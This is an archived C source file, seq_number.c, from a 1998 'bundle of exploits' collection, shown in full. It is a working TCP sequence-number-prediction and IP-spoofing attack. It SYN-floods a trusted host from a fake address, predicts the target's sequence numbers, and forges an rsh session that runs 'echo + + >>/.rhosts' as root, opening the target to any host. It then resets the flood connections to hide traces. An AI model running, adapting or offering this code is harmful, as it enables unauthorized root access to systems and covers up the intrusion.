home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / seq_number.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  13KB  |  438 lines

  1. /* This source is subject to the GNU PUBLIC LICENSE. It can be used freely
  2.  * for any non-commercial purpose, and this message and the contact 
  3.  * information must remain intact. For commercial purposes, you MUST contact
  4.  * us to obtain a license for it's use. A copy of the GNU PUBLIC LICENSE is
  5.  * available from: ftp://aeneas.mit.edu/pub/gnu/
  6.  *
  7.  *     This program is distributed in the hope that it will be useful,
  8.  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.  *  GNU General Public License for more details.
  11.  *
  12.  * Mike Neuman
  13.  * En Garde Systems 
  14.  * 525 Clara Avenue, Suite 202
  15.  * St. Louis, MO  63112
  16.  * mcn@EnGarde.com
  17.  */
  18.  
  19. #include <stdio.h>
  20. #include <setjmp.h>
  21. #include <signal.h>
  22. #include <sys/types.h>
  23. #include <sys/socket.h>
  24. #include <netinet/in_systm.h>
  25. #include <netinet/in.h>
  26. #include <net/if.h>
  27. #include <netinet/if_ether.h>
  28. #include <netinet/ip.h>
  29. #include <netinet/tcp.h>
  30. #include <errno.h>
  31. #include <netdb.h>
  32.  
  33. #include "ipbpf.h" /* Include ipbpf header */
  34.  
  35. #define BADHOST "16.17.18.19"    
  36.   /* The host to spoof flooding the trusted
  37.    * host's destination port from. This host shouldn't exist, but should have
  38.    * correct routing entries. The important part is so that returned packets
  39.    * go to nowhere.
  40.    */
  41.  
  42. #define NUMSEQUENCE 80 
  43.   /* The number of connections to spoof from BADHOST. I made this big. 
  44.   * I've found 4.4BSD will be flooded with only 8 unacked connections. Your
  45.   * mileage may vary
  46.   */
  47.  
  48. #define NUMTESTS 10
  49.   /* How many samples of the sequence numbers do you want to take?
  50.    * I randomly picked 10 and only take the last result. If I wanted to be
  51.    * elegant, I'd do some sort of statistical average. Sequence numbers
  52.    * are generally updated by a fixed number, this attempts to compute
  53.    * this number taking into account average network lag. Fixed sequence
  54.    * number updating currently works on: Solaris 2.x, NeXTstep, 4.4BSD, and
  55.    * probably others, although I haven't tested them.
  56.    */
  57.  
  58. #define ROUTER "router.EnGarde.com"
  59.   /* The name of your router to the outside world. Spoofed packets need to
  60.    * be sent to it's ether/fddi address in order to get to the outside world.
  61.    */
  62.  
  63. main(argc, argv)
  64. int argc;
  65. char *argv[];
  66.  
  67. {
  68. struct hostent *he;
  69. u_long trust_addr, targ_addr;
  70. u_long seq_num[NUMSEQUENCE], port_num[NUMSEQUENCE];
  71. u_long next_seq, offset;
  72.  
  73.     if (argc!=3) {
  74.         fprintf(stderr, "Usage: %s trusted-host target\n",argv[0]);
  75.         exit(1);
  76.     }
  77.     if ((he=gethostbyname(argv[1]))==NULL) {
  78.         trust_addr=inet_addr(argv[1]);
  79.         if (trust_addr==(u_long)-1) {
  80.             fprintf(stderr, "Unknown host %s\n", argv[1]);
  81.             exit(1);
  82.         }
  83.     } else
  84.         bcopy(he->h_addr, &trust_addr, 4);
  85.  
  86.     if ((he=gethostbyname(argv[2]))==NULL) {
  87.         targ_addr=inet_addr(argv[2]);
  88.         if (targ_addr==(u_long)-1) {
  89.             fprintf(stderr, "Unknown host %s\n", argv[2]);
  90.             exit(1);
  91.         }
  92.     } else
  93.         bcopy(he->h_addr, &targ_addr, 4);
  94.  
  95.     printf("Initializing Packet Filter\n");
  96.     use_best(); /* Use the best packet filter available on this system */
  97.     if (init_filter("tcp", NULL)) { 
  98.         /* Initialize the packet filter and read only TCP packets */
  99.         fprintf(stderr, "Can't init Packet Filter\n");
  100.         exit(1);
  101.     }
  102.  
  103.     /* First, send NUMSEQUENCE connection requests from BADHOST to the 
  104.      * trusted host on a trusted port (currently 513). Trusted host will 
  105.      * attempt to SYN-ACK these. If BADHOST doesn't exist, there will never
  106.      * be a response ACK. Consequently, trusted host's connection queue will
  107.      * fill and it will no longer respond to any packets to port 513.
  108.      */
  109.  
  110.     printf("[Hosing Trusted Host...]\n");
  111.     if (hose_trusted(argv[1], trust_addr, seq_num, port_num)) {
  112.         fprintf(stderr, "Couldn't hose %s\n", argv[1]);
  113.         exit(1);
  114.     }
  115.     
  116.     /* Next, do a sampling of the difference in sequence numbers. These packets
  117.      * are NOT spoofed as receiving the reply is required. Consequently, this
  118.      * host can appear in any packet traces.
  119.      */
  120.     printf("[Determining sequence numbers...]\n");
  121.     if (determine_sequence(argv[2], targ_addr, &next_seq, &offset)) {
  122.         fprintf(stderr, "Couldn't determine sequence numbers for %s\n", argv[2]);
  123.         exit(1);
  124.     }
  125.  
  126.     printf("=>Next sequence number is: %u, offset is: %u\n", next_seq, offset);
  127.  
  128.     /* Next, do the actual spoofed connection, now that we know what the next
  129.      * sequence number will be.
  130.      */
  131.     printf("[Spoofing Connection...]\n");
  132.     if (spoof_connection(trust_addr, argv[2], targ_addr, next_seq)) {
  133.         fprintf(stderr, "Couldn't spoof connection to %s\n", argv[1]);
  134.         exit(1);
  135.     }
  136.  
  137.     /* Finally, reset all of the half started connections on trusted-host.
  138.      * This will put trusted-host back into it's normal state (and hide
  139.      * the traces that it was used for evil.
  140.      */
  141.     printf("[Cleaning Up Trusted Mess...]\n");
  142.     if (reset_trusted(argv[1], trust_addr, seq_num, port_num)) {
  143.         fprintf(stderr, "Couldn't reset %s. Sucks to be it.\n", argv[1]);
  144.         exit(1);
  145.     }
  146.  
  147.     /* fin */
  148.     exit(0);
  149. }
  150.  
  151. hose_trusted(trust_host, trust_addr, seq_num, port_num)
  152. char *trust_host;
  153. u_long trust_addr;
  154. u_long seq_num[NUMSEQUENCE];
  155. u_short port_num[NUMSEQUENCE];
  156. {
  157.     int i;
  158.     u_long start_seq=49358353+getpid(); /* Make this anything you want */
  159.     u_long start_port=600; /* Make this anything you want */
  160.     struct ether_header eh;
  161.     u_long bad_addr;
  162.  
  163.     /* First attempt to find the hardware address of the trusted host */
  164.     if (ether_hostton(trust_host, &eh.ether_dhost)) {
  165.         /* If that fails, find the hardware address of the router */
  166.         if (ether_hostton(ROUTER, &eh.ether_dhost)) {
  167.             fprintf(stderr, "Can't determine ether addr of trusted host or router.\n");
  168.             return(1);
  169.         }
  170.     }
  171.     eh.ether_type=ETHERTYPE_IP;
  172.  
  173.     if ((bad_addr=inet_addr(BADHOST))==(u_long)-1) {
  174.         fprintf(stderr, "Can't convert BADHOST address.\n");
  175.         return(1);
  176.     }
  177.  
  178.     /* Send a whole bunch of spoofed SYNs. Arguments to sendtcppacket_simple
  179.      * are:
  180.      * sendtcppacket_simple(
  181.      *     struct ether_addr source_hardware_address,
  182.      *     struct ether_addr destination_hardware_address,
  183.      *     u_long            source_ip_address,
  184.      *     u_long            destination_ip_address,
  185.      *     u_short           source_port,
  186.      *     u_short           destination_port,
  187.      *     u_long            sequence_number,
  188.      *     u_long            acknowldegement_number,
  189.      *     int               TCP flags (SYN, RST, ACK, PUSH, FIN),
  190.      *     char *            data,
  191.      *     int               datalen)
  192.      */
  193.     for (i=0;i<NUMSEQUENCE;i++) {
  194.         port_num[i]=start_port++; /* record the ports and sequence numbers */
  195.         seq_num[i]=start_seq++;   /* for later reseting */
  196.  
  197.         sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
  198.             bad_addr, trust_addr,
  199.             port_num[i], 513, /* 513 is rlogin/rsh port */
  200.             seq_num, 0,
  201.             TH_SYN, NULL, 0);
  202.     }
  203.     return(0);
  204. }
  205.  
  206. jmp_buf env;
  207.  
  208. void timedout()
  209. {
  210.     longjmp(env, 1);
  211. }
  212.  
  213. determine_sequence(targ_host, targ_addr, next_seq, offset)
  214. char *targ_host;
  215. u_long targ_addr, *next_seq, *offset;
  216. {
  217.     struct hostent *he;
  218.     struct ether_header eh, eh2;
  219.     struct ip iph;
  220.     struct tcphdr tcph;
  221.     int i;
  222.     u_long start_seq=4138353+getpid(); /* Make this anything you want */
  223.     u_long start_port=600;         /* Make this anything you want */
  224.     u_long my_addr;
  225.     char buf[80];
  226.     u_long prev_seq=0, diff=0;
  227.  
  228.     *offset=0;
  229.     /* first attempt to get the destination's hardware address */
  230.     if (ether_hostton(targ_host, &eh.ether_dhost)) {
  231.         /* If that fails, get the router's hardware address */
  232.         if (ether_hostton(ROUTER, &eh.ether_dhost)) {
  233.             fprintf(stderr, "Can't determine ether addr of trusted host or router.\n");
  234.             return(1);
  235.         }
  236.     }
  237.     eh.ether_type=ETHERTYPE_IP;
  238.  
  239.     gethostname(buf, 79);
  240.     if ((he=gethostbyname(buf))==NULL) {
  241.         fprintf(stderr, "Can't get my hostname!?\n");
  242.         return(1);
  243.     }
  244.     bcopy(he->h_addr, &my_addr, 4);
  245.     for (i=0;i<NUMTESTS;i++) {
  246.         /* Do a setjmp here for timeouts */
  247.         if (setjmp(env)) 
  248.             fprintf(stderr, "Response Timed out... Resending...\n");
  249.         signal(SIGALRM, timedout);
  250.         alarm(0);
  251.         alarm(10); /* Wait 10 seconds for reply */
  252.         sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
  253.             my_addr, targ_addr,
  254.             start_port, 514, /* 514 is rsh port */
  255.             start_seq, 0,
  256.             TH_SYN, NULL, 0);
  257.         /* Send connection request packet */
  258.  
  259.         for (;;) {
  260.             /* Wait until the reply is received. Arguments for readpacket
  261.              * are:
  262.              * readpacket(
  263.              *  struct fddi_header  fddi_header,
  264.              *  struct ether_header ether_header,
  265.              *  struct ip           ip_header,
  266.              *  struct udphdr       udp_header,
  267.              *  struct tcphdr       tcp_header,
  268.              *  char *              data,
  269.              *  int                 datalen)
  270.              *
  271.              * return type is the type of packet read
  272.              */
  273.  
  274.             while (readpacket(NULL, &eh2, &iph, NULL, &tcph, NULL, NULL)!=
  275.                 PTYPE_IP_TCP) ;
  276.             if (ntohs(tcph.th_dport)==start_port &&
  277.                 ntohs(tcph.th_sport)==514) {
  278.                 /* If the ports match, it's probably a reply--this isn't
  279.                  * definite, but it's a pretty good guess .
  280.                  * The following attempts to generate a reliable sequence.
  281.                  * Actually, it's pretty dumb. It tries 10 times, then takes
  282.                  * the last result. Generally, I've found this to work well
  283.                  * enough to warrant not writing anything smarter.
  284.                  */
  285.                     if (prev_seq) {
  286.                         diff=tcph.th_seq-prev_seq;
  287.                         printf("(prev=%u, new=%u, diff=%u\n", prev_seq,
  288.                             tcph.th_seq, diff);
  289.                     } else
  290.                         diff=0;
  291.                     if (*offset==0) 
  292.                         *offset=diff;
  293.                     else {
  294.                         if (*offset!=diff)
  295.                             printf("Difference in Offset: old=%u, new=%u\n",
  296.                                 *offset, diff);
  297.                         *offset=diff;
  298.                     }
  299.                     prev_seq=tcph.th_seq;
  300.                     sendtcppacket_simple(
  301.                             &(eh.ether_shost), &(eh.ether_dhost),
  302.                             my_addr, targ_addr,
  303.                             start_port++, 514, 
  304.                             start_seq++, 0,
  305.                             TH_RST, NULL, 0);
  306.                     /* Send a reset to close the connection. Note, this
  307.                      * automatically will be sent by localhost unless
  308.                      * a service is listening on whatever port you've
  309.                      * chosen to start with at the top of this routine.
  310.                      * so I reset it anyway
  311.                      */
  312.                     break; /* out of infinite for */
  313.                 }
  314.         } /* of infinite for */
  315.         alarm(0);
  316.     } /* for i=0 i<numtests... */
  317.     *next_seq=prev_seq+*offset;
  318.     return(0);
  319. }
  320.  
  321. spoof_connection(trust_addr, targ_host, targ_addr, next_seq)
  322. u_long trust_addr, targ_addr, next_seq;
  323. {
  324.     struct ether_header eh;
  325.     char buf[80];
  326.     struct hostent *he;
  327.     u_long my_addr;
  328.     u_short port=513;
  329.     char *string="0\0root\0root\0echo + + >>/.rhosts\0"; 
  330.     int stringlen=32; 
  331.     u_long seq=385773357;
  332.     int i;
  333.  
  334.     /* As before, get the target's hardware address */
  335.     if (ether_hostton(targ_host, &eh.ether_dhost)) {
  336.         /* If that fails, get the router's hardware address */
  337.         if (ether_hostton(ROUTER, &eh.ether_dhost)) {
  338.             fprintf(stderr, "Can't determine etheraddr of target host or router.\n");
  339.             return(1);
  340.         }
  341.     }
  342.     eh.ether_type=ETHERTYPE_IP;
  343.  
  344.     /* Send a syn with our own sequence number */
  345.     sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
  346.         trust_addr, targ_addr,
  347.         port, 514,
  348.         seq++, 0,
  349.         TH_SYN, NULL, 0);
  350.     usleep(5000); /* wait for the other side to SYN,ACK */
  351.  
  352.     /* Send the ACK for the sequence number we guessed. I've found we guess
  353.      * right about 90% of the time
  354.      */
  355.     sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
  356.         trust_addr, targ_addr,
  357.         port, 514,
  358.         seq, ++next_seq,
  359.         TH_ACK, NULL, 0);
  360.  
  361.     /* Now, send our rsh request with the proper sequence and ACK nubmers */
  362.     sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
  363.         trust_addr, targ_addr,
  364.         port, 514,
  365.         seq, next_seq,
  366.         TH_ACK, string, stringlen);
  367.     seq+=stringlen;
  368.  
  369.     sleep(1); /* Wait for it to be received, ACKd, and processed */
  370.     /* Send a fin with the our new sequence number and their sequence number */
  371.     sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
  372.         trust_addr, targ_addr,
  373.         port, 514,
  374.         seq, next_seq,
  375.         TH_FIN, NULL, 0);
  376.  
  377.     for (i=1;i<4;i++) { /* Send a bunch of ACKs */
  378.         /* If we screwed up the guessing the correct sequence number the remote
  379.          * host is using, guess a whole bunch more just to be sure. We could
  380.          * probably reset the connection, but it's better to have the
  381.          * net software hang waiting for a proper FIN/ACK than have the
  382.          * application that we've spoofed into running exit because we
  383.          * reset the connection.
  384.          */
  385.         sleep(2);
  386.         sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
  387.             trust_addr, targ_addr,
  388.             port, 514,
  389.             seq+1, next_seq+i,
  390.             TH_ACK, NULL, 0);
  391.     }
  392.     usleep(50000); /* Finally, send a RST */
  393.     /* Now, if we're really screwed, and ~8 seconds later  we haven't guessed
  394.      * the right sequence number, just reset the connection. Hopefully by now
  395.      * the application has done it's job, so resetting shouldn't cause any
  396.      * problems.
  397.      */
  398.     sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
  399.         trust_addr, targ_addr,
  400.         port, 514,
  401.         seq+1, next_seq+4,
  402.         TH_RST, NULL, 0);
  403.  
  404.     return(0);
  405. }
  406.  
  407. reset_trusted(trust_host, trust_addr, seq_num, port_num)
  408. u_long trust_addr;
  409. u_long seq_num[NUMSEQUENCE], port_num[NUMSEQUENCE];
  410. {
  411.     struct ether_header eh;
  412.     u_long bad_addr;
  413.     int i;
  414.  
  415.     if (ether_hostton(trust_host, &eh.ether_dhost)) {
  416.         if (ether_hostton(ROUTER, &eh.ether_dhost)) {
  417.             fprintf(stderr, "Can't determine ether addr of trusted host or router.\n");
  418.             return(1);
  419.         }
  420.     }
  421.     eh.ether_type=ETHERTYPE_IP;
  422.  
  423.     if ((bad_addr=inet_addr(BADHOST))==(u_long)-1) {
  424.         fprintf(stderr, "Can't convert BADHOST address.\n");
  425.         return(1);
  426.     }
  427.  
  428.     /* Reset all of the connections we started before */
  429.     for (i=0;i<NUMSEQUENCE;i++) {
  430.         sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
  431.             bad_addr, trust_addr,
  432.             port_num[i], 513,
  433.             seq_num[i], 0,
  434.             TH_RST, NULL, 0);
  435.     }
  436.     return(0);
  437. }
  438.